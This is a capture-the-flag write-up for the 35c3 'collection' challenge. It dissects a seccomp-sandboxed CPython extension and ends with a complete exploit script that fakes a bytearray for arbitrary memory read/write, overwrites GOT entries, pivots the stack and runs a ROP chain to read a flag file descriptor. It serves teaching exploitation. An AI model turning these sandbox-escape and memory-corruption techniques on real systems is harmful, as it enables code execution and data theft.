35c3 collection write up
35c3 collection write up
behold my collection
The container is built with the following important statements
FROM ubuntu:18.04 RUN apt-get -y install python3.6 COPY build/lib.linux-x8664-3.6/Collection.cpython-36m-x86_64-linux-gnu.so /usr/local/lib/python3.6/dist-packages/Collection.cpython-36m-x86_64-linux-gnu.so Copy the library in the same destination path and check that it works with
python3.6 test.py Challenge runs at 35.207.157.79:4444
Difficulty: easy
We are given following files
$ ls
Collection.cpython-36m-x86_64-linux-gnu.so libc-2.27.so python3.6 server.py test.py
A custom build cpython module Collection.cpython-36m-x86_64-linux-gnu.so
libc-2.27.so
and python3.6
binary which are running on the server.
and server.py
import os
import tempfile
import os
import string
import random
def randstr():
return ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10))
flag = open("flag", "r")
prefix = """
from sys import modules
del modules['os']
import Collection
keys = list(__builtins__.__dict__.keys())
for k in keys:
if k != 'id' and k != 'hex' and k != 'print' and k != 'range':
del __builtins__.__dict__[k]
"""
size_max = 20000
print("enter your code, enter the string END_OF_PWN on a single line to finish")
code = prefix
new = ""
finished = False
while size_max > len(code):
new = raw_input("code> ")
if new == "END_OF_PWN":
finished = True
break
code += new + "\n"
if not finished:
print("max length exceeded")
sys.exit(42)
file_name = "/tmp/%s" % randstr()
with open(file_name, "w+") as f:
f.write(code.encode())
os.dup2(flag.fileno(), 1023)
flag.close()
cmd = "python3.6 -u %s" % file_name
os.system(cmd)
The server.py
file takes user input till we enter END_OF_PWN
, then a temp python file is created with a prefix code and user input . The prefix code imports Collection module , and removes os module and all the builtin other than id, hex, print and range . This files is then executed with python3.6 -u
command on the server . -u
is for unbuffered i/o .
We are also given a test.py
which shows a basic functionality of the Collection module.
$ ./python3.6 test.py
1337
[1.2]
{'a': 45545}
But when i tried to run the test.py with python3.6 -i
it gave a error invalid system call
$ ./python3.6 -i test.py
1337
[1.2]
{'a': 45545}
[1] 5181 invalid system call ./python3.6 -i test.py
If you run strace on the python while importing the collection module we can see that they have actually implemented a seccomp filter.
...
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) = 0
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, {len=99, filter=0x7fffffffb4a0}) = 0
....
So it might be using some blacklisted syscall while we use -i
tag with python. We can see a initsandbox function in the binary which actually initialize the seccomp filter and this function is called inside PyInit_Collection
. So we can just patch this call and we can load the module in interactive mode and test .
We can dump the seccomp filter using seccomp-tool
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0006
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0006: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x15 0x00 0x01 0x0000000c if (A != brk) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x15 0x00 0x01 0x00000009 if (A != mmap) goto 0012
0011: 0x05 0x00 0x00 0x00000011 goto 0029
0012: 0x15 0x00 0x01 0x0000000b if (A != munmap) goto 0014
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0014: 0x15 0x00 0x01 0x00000019 if (A != mremap) goto 0016
0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0016: 0x15 0x00 0x01 0x00000013 if (A != readv) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x15 0x00 0x01 0x000000ca if (A != futex) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x01 0x00000083 if (A != sigaltstack) goto 0022
0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0022: 0x15 0x00 0x01 0x00000003 if (A != close) goto 0024
0023: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0024: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0026
0025: 0x05 0x00 0x00 0x00000037 goto 0081
0026: 0x15 0x00 0x01 0x0000000d if (A != rt_sigaction) goto 0028
0027: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0028: 0x06 0x00 0x00 0x00000000 return KILL
0029: 0x05 0x00 0x00 0x00000000 goto 0030
0030: 0x20 0x00 0x00 0x00000010 A = args[0]
0031: 0x02 0x00 0x00 0x00000000 mem[0] = A
0032: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32
0033: 0x02 0x00 0x00 0x00000001 mem[1] = A
0034: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0038
0035: 0x60 0x00 0x00 0x00000000 A = mem[0]
0036: 0x15 0x02 0x00 0x00000000 if (A == 0x0) goto 0039
0037: 0x60 0x00 0x00 0x00000001 A = mem[1]
0038: 0x06 0x00 0x00 0x00000000 return KILL
0039: 0x60 0x00 0x00 0x00000001 A = mem[1]
0040: 0x20 0x00 0x00 0x00000020 A = args[2]
0041: 0x02 0x00 0x00 0x00000000 mem[0] = A
0042: 0x20 0x00 0x00 0x00000024 A = args[2] >> 32
0043: 0x02 0x00 0x00 0x00000001 mem[1] = A
0044: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0048
0045: 0x60 0x00 0x00 0x00000000 A = mem[0]
0046: 0x15 0x02 0x00 0x00000003 if (A == 0x3) goto 0049
0047: 0x60 0x00 0x00 0x00000001 A = mem[1]
0048: 0x06 0x00 0x00 0x00000000 return KILL
0049: 0x60 0x00 0x00 0x00000001 A = mem[1]
0050: 0x20 0x00 0x00 0x00000028 A = args[3]
0051: 0x02 0x00 0x00 0x00000000 mem[0] = A
0052: 0x20 0x00 0x00 0x0000002c A = args[3] >> 32
0053: 0x02 0x00 0x00 0x00000001 mem[1] = A
0054: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0058
0055: 0x60 0x00 0x00 0x00000000 A = mem[0]
0056: 0x15 0x02 0x00 0x00000022 if (A == 0x22) goto 0059
0057: 0x60 0x00 0x00 0x00000001 A = mem[1]
0058: 0x06 0x00 0x00 0x00000000 return KILL
0059: 0x60 0x00 0x00 0x00000001 A = mem[1]
0060: 0x20 0x00 0x00 0x00000030 A = args[4]
0061: 0x02 0x00 0x00 0x00000000 mem[0] = A
0062: 0x20 0x00 0x00 0x00000034 A = args[4] >> 32
0063: 0x02 0x00 0x00 0x00000001 mem[1] = A
0064: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0068
0065: 0x60 0x00 0x00 0x00000000 A = mem[0]
0066: 0x15 0x02 0x00 0xffffffff if (A == 0xffffffff) goto 0069
0067: 0x60 0x00 0x00 0x00000001 A = mem[1]
0068: 0x06 0x00 0x00 0x00000000 return KILL
0069: 0x60 0x00 0x00 0x00000001 A = mem[1]
0070: 0x20 0x00 0x00 0x00000038 A = args[5]
0071: 0x02 0x00 0x00 0x00000000 mem[0] = A
0072: 0x20 0x00 0x00 0x0000003c A = args[5] >> 32
0073: 0x02 0x00 0x00 0x00000001 mem[1] = A
0074: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0078
0075: 0x60 0x00 0x00 0x00000000 A = mem[0]
0076: 0x15 0x02 0x00 0x00000000 if (A == 0x0) goto 0079
0077: 0x60 0x00 0x00 0x00000001 A = mem[1]
0078: 0x06 0x00 0x00 0x00000000 return KILL
0079: 0x60 0x00 0x00 0x00000001 A = mem[1]
0080: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0081: 0x05 0x00 0x00 0x00000000 goto 0082
0082: 0x20 0x00 0x00 0x00000010 A = args[0]
0083: 0x02 0x00 0x00 0x00000000 mem[0] = A
0084: 0x20 0x00 0x00 0x00000014 A = args[0] >> 32
0085: 0x02 0x00 0x00 0x00000001 mem[1] = A
0086: 0x15 0x00 0x05 0x00000000 if (A != 0x0) goto 0092
0087: 0x60 0x00 0x00 0x00000000 A = mem[0]
0088: 0x15 0x00 0x02 0x00000001 if (A != 0x1) goto 0091
0089: 0x60 0x00 0x00 0x00000001 A = mem[1]
0090: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0091: 0x60 0x00 0x00 0x00000001 A = mem[1]
0092: 0x15 0x00 0x05 0x00000000 if (A != 0x0) goto 0098
0093: 0x60 0x00 0x00 0x00000000 A = mem[0]
0094: 0x15 0x00 0x02 0x00000002 if (A != 0x2) goto 0097
0095: 0x60 0x00 0x00 0x00000001 A = mem[1]
0096: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0097: 0x60 0x00 0x00 0x00000001 A = mem[1]
0098: 0x06 0x00 0x00 0x00000000 return KILL
As you can see they have implemented a whitelist filter which allows only exit
, exit_group
, brk
, mmap
, munmap
, readv
, futex
, signalstack
, close
, write
and rt_sigaction
syscalls . And there are some check which restricts the arguments . I did not reverse that part .
We know that the flags file descriptor is 1023
, We can read the flag from this fd and print it into the screen . As described above the read
syscall is blocked and but since the readv
syscall is whitelist we can use the it syscall to read from the fd .
Let’s seen which all functions are defined inside the collection module .
>>> import Collection
>>> dir(Collection)
['Collection', '__doc__', '__file__', '__loader__', '__name__', '__package__', '__spec__']
>>> dir(Collection.Collection)
['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__',
'__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__',
'__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
'__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'get']
As you can see only function defined is get
.
$cat test.py
import Collection
a = Collection.Collection({"a":1337, "b":[1.2], "c":{"a":45545}})
print(a.get("a"))
print(a.get("b"))
print(a.get("c"))
As shown above the test.py
contains some example code which show’s the functionality of the module . Basically we give a dictionary to the Collection, which is stored inside the object . The only constrain is that we can only give string as the key and the value should be either list , value or dictionary . Then we can retrieve the values stored from the collection with get
member function .
Getting Arbitrary Read Write Primitive
Now our aim is to return a fake PyObject object such a way that we can get arbitrary read write primitive .
One tick I found online is to use bytearray.
pwndbg> p *(PyObject *)0x7ffff74afc38
$10 = {
ob_refcnt = 1,
ob_type = 0x7d37e0 <PyByteArray_Type>
}
pwndbg> p *(PyByteArrayObject *)0x7ffff74afc38
$11 = {
ob_base = {
ob_base = {
ob_refcnt = 1,
ob_type = 0x7d37e0 <PyByteArray_Type>
},
ob_size = 1
},
ob_alloc = 2,
ob_bytes = 0x7ffff76a1660 "a",
ob_start = 0x7ffff76a1660 "a",
ob_exports = 0
}
bytearray is a mutable object , We can fake this object with controlled ob_start
and ob_bytes
and get arbitrary read write primitive .
Now we need a space to fake our bytearray object ,
>>> a = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
>>> hex(id(a))
'0x7ffff74b3088'
...
...
pwndbg> x/10gx 0x7ffff74b3088
0x7ffff74b3088: 0x0000000000000001 0x00000000007d6400
0x7ffff74b3098: 0x0000000000000023 0x15902057a8b86b36
0x7ffff74b30a8: 0x00000000007d00e5 0x0000000000000000
0x7ffff74b30b8: 0x4141414141414141 0x4141414141414141
0x7ffff74b30c8: 0x4141414141414141 0x4141414141414141
We can use the string object to create our fake bytearray object , Since they have whitelisted id and we can easily get the address of the string object and adding a offset will give our string.
Getting Code Execution
Now there are many possibility , and the one I took is to overwrite the got table and do a stack pivot to execute rop to read flag from 1023
and call write to print the flag to screen.
Since we can use print function and we can also give a string as a argument this seems to be a good candidate . Let’s check which function is executed when print is called
$ cat test.py
print("AAAAAAAAAAAAAAAAAA")
$ gdb --args ./python3.6 -u test.py
pwndbg> catch syscall 1
Catchpoint 1 (syscall 'write' [1])
pwndbg> r
...
pwndbg> bt
#0 0x00007ffff7ec6874 in __GI___libc_write (fd=1, buf=0x7ffff74af360, nbytes=19) at ../sysdeps/unix/sysv/linux/write.c:26
#1 0x00000000004c1858 in ?? ()
#2 0x0000000000565bd1 in _PyCFunction_FastCallDict ()
#3 0x00000000005a3761 in _PyObject_FastCallDict ()
#4 0x00000000005a3a5e in PyObject_CallMethodObjArgs ()
...
...
pwndbg> x/10i 0x00000000004c1858 - 0x20
0x4c1838: add BYTE PTR [rcx-0x77],cl
0x4c183b: (bad)
0x4c183c: call 0x420050 <__errno_location@plt>
0x4c1841: mov rdx,rbx
0x4c1844: mov rsi,r14
0x4c1847: mov edi,r12d
0x4c184a: mov DWORD PTR [rax],0x0
0x4c1850: mov rbp,rax
0x4c1853: call 0x4207e0 <write@plt>
As shown above the write function is called when print is called , The write function is called with our string as the second argument and size of the string as the third argument . We were able to pivot the stack to that string . But python3.6 byte string we messing up our payload . Later were able to find some gadget to pivot the stack to a know location by overwriting both errnolocation’s and writes got with gadget.
After we achieve stack pivot we just need to create a rop chain to call readv(1023, *iov, 1) then call write syscall to print the flag
import Collection
alp = {
'00': b'\x00','01': b'\x01','02': b'\x02','03': b'\x03',
'04': b'\x04','05': b'\x05','06': b'\x06','07': b'\x07',
'08': b'\x08','09': b'\t','0a': b'\n','0b': b'\x0b',
'0c': b'\x0c','0d': b'\r','0e': b'\x0e','0f': b'\x0f',
'10': b'\x10','11': b'\x11','12': b'\x12','13': b'\x13',
'14': b'\x14','15': b'\x15','16': b'\x16','17': b'\x17',
'18': b'\x18','19': b'\x19','1a': b'\x1a','1b': b'\x1b',
'1c': b'\x1c','1d': b'\x1d','1e': b'\x1e','1f': b'\x1f',
'20': b' ','21': b'!','22': b'"','23': b'#',
'24': b'$','25': b'%','26': b'&','27': b"'",
'28': b'(','29': b')','2a': b'*','2b': b'+',
'2c': b',','2d': b'-','2e': b'.','2f': b'/',
'30': b'0','31': b'1','32': b'2','33': b'3',
'34': b'4','35': b'5','36': b'6','37': b'7',
'38': b'8','39': b'9','3a': b':','3b': b';',
'3c': b'<','3d': b'=','3e': b'>','3f': b'?',
'40': b'@','41': b'A','42': b'B','43': b'C',
'44': b'D','45': b'E','46': b'F','47': b'G',
'48': b'H','49': b'I','4a': b'J','4b': b'K',
'4c': b'L','4d': b'M','4e': b'N','4f': b'O',
'50': b'P','51': b'Q','52': b'R','53': b'S',
'54': b'T','55': b'U','56': b'V','57': b'W',
'58': b'X','59': b'Y','5a': b'Z','5b': b'[',
'5c': b'\\','5d': b']','5e': b'^','5f': b'_',
'60': b'`','61': b'a','62': b'b','63': b'c',
'64': b'd','65': b'e','66': b'f','67': b'g',
'68': b'h','69': b'i','6a': b'j','6b': b'k',
'6c': b'l','6d': b'm','6e': b'n','6f': b'o',
'70': b'p','71': b'q','72': b'r','73': b's',
'74': b't','75': b'u','76': b'v','77': b'w',
'78': b'x','79': b'y','7a': b'z','7b': b'{',
'7c': b'|','7d': b'}','7e': b'~','7f': b'\x7f',
'80': b'\x80','81': b'\x81','82': b'\x82','83': b'\x83',
'84': b'\x84','85': b'\x85','86': b'\x86','87': b'\x87',
'88': b'\x88','89': b'\x89','8a': b'\x8a','8b': b'\x8b',
'8c': b'\x8c','8d': b'\x8d','8e': b'\x8e','8f': b'\x8f',
'90': b'\x90','91': b'\x91','92': b'\x92','93': b'\x93',
'94': b'\x94','95': b'\x95','96': b'\x96','97': b'\x97',
'98': b'\x98','99': b'\x99','9a': b'\x9a','9b': b'\x9b',
'9c': b'\x9c','9d': b'\x9d','9e': b'\x9e','9f': b'\x9f',
'a0': b'\xa0','a1': b'\xa1','a2': b'\xa2','a3': b'\xa3',
'a4': b'\xa4','a5': b'\xa5','a6': b'\xa6','a7': b'\xa7',
'a8': b'\xa8','a9': b'\xa9','aa': b'\xaa','ab': b'\xab',
'ac': b'\xac','ad': b'\xad','ae': b'\xae','af': b'\xaf',
'b0': b'\xb0','b1': b'\xb1','b2': b'\xb2','b3': b'\xb3',
'b4': b'\xb4','b5': b'\xb5','b6': b'\xb6','b7': b'\xb7',
'b8': b'\xb8','b9': b'\xb9','ba': b'\xba','bb': b'\xbb',
'bc': b'\xbc','bd': b'\xbd','be': b'\xbe','bf': b'\xbf',
'c0': b'\xc0','c1': b'\xc1','c2': b'\xc2','c3': b'\xc3',
'c4': b'\xc4','c5': b'\xc5','c6': b'\xc6','c7': b'\xc7',
'c8': b'\xc8','c9': b'\xc9','ca': b'\xca','cb': b'\xcb',
'cc': b'\xcc','cd': b'\xcd','ce': b'\xce','cf': b'\xcf',
'd0': b'\xd0','d1': b'\xd1','d2': b'\xd2','d3': b'\xd3',
'd4': b'\xd4','d5': b'\xd5','d6': b'\xd6','d7': b'\xd7',
'd8': b'\xd8','d9': b'\xd9','da': b'\xda','db': b'\xdb',
'dc': b'\xdc','dd': b'\xdd','de': b'\xde','df': b'\xdf',
'e0': b'\xe0','e1': b'\xe1','e2': b'\xe2','e3': b'\xe3',
'e4': b'\xe4','e5': b'\xe5','e6': b'\xe6','e7': b'\xe7',
'e8': b'\xe8','e9': b'\xe9','ea': b'\xea','eb': b'\xeb',
'ec': b'\xec','ed': b'\xed','ee': b'\xee','ef': b'\xef',
'f0': b'\xf0','f1': b'\xf1','f2': b'\xf2','f3': b'\xf3',
'f4': b'\xf4','f5': b'\xf5','f6': b'\xf6','f7': b'\xf7',
'f8': b'\xf8','f9': b'\xf9','fa': b'\xfa','fb': b'\xfb',
'fc': b'\xfc','fd': b'\xfd','fe': b'\xfe','ff': b'\xff'
}
def p64(a):
a = hex(a)[2:].rjust(16, '0')
li = [a[i:i + 2] for i in range(0, 16, 2)]
st = b''
for i in li:
st += alp[i]
return st[::-1]
def fake_bytearray(addr, size):
payload = p64(0xffff)
payload += p64(0x00000000009ce7e0)
payload += p64(size)
payload += p64(size + 1)
payload += p64(addr)
payload += p64(addr)
payload += p64(0x0)
return payload
def write(addr, inp):
payload = fake_bytearray(addr, len(inp))
payload_addr = id(payload)
a = Collection.Collection({"A": 1337, "B": [1]})
b = Collection.Collection({"B": [1], "A": payload_addr + 0x20})
c = b.get("B")
for i in range(len(inp)):
c[i] = inp[i]
target = "\x00" * 0x100
iov = p64(id(target) + 0x30) + p64(0x100)
pop_rdi = 0x00421612
pop_rsi = 0x0042110e
pop_rdx = 0x004026c1
pop_rax = 0x00631caf
readv_plt = 0x4208b0
syscall = 0x0049d6d4
read_payload = p64(pop_rdi)
read_payload += p64(1023)
read_payload += p64(pop_rsi)
read_payload += p64(id(iov) + 0x20)
read_payload += p64(pop_rdx)
read_payload += p64(0x1)
read_payload += p64(readv_plt)
write_payload = p64(pop_rdi)
write_payload += p64(1)
write_payload += p64(pop_rsi)
write_payload += p64(id(target) + 0x30)
write_payload += p64(pop_rdx)
write_payload += p64(50)
write_payload += p64(pop_rax)
write_payload += p64(1)
write_payload += p64(syscall)
rop = read_payload
rop += write_payload
stack_pviot = 0xa42f30
write(stack_pviot, rop)
# 0x0000000000467123 : leave ; ret
leave_ret = 0x00467123
write_plt = 0x009b3d18
write(write_plt, p64(leave_ret))
# 0x000000000061233e: mov rax, rcx; ret;
mov_rax_rcx = 0x0061233e
__errno_location = 0x009b3950
write(__errno_location, p64(mov_rax_rcx))
print("A" * (stack_pviot - 8))
Reference :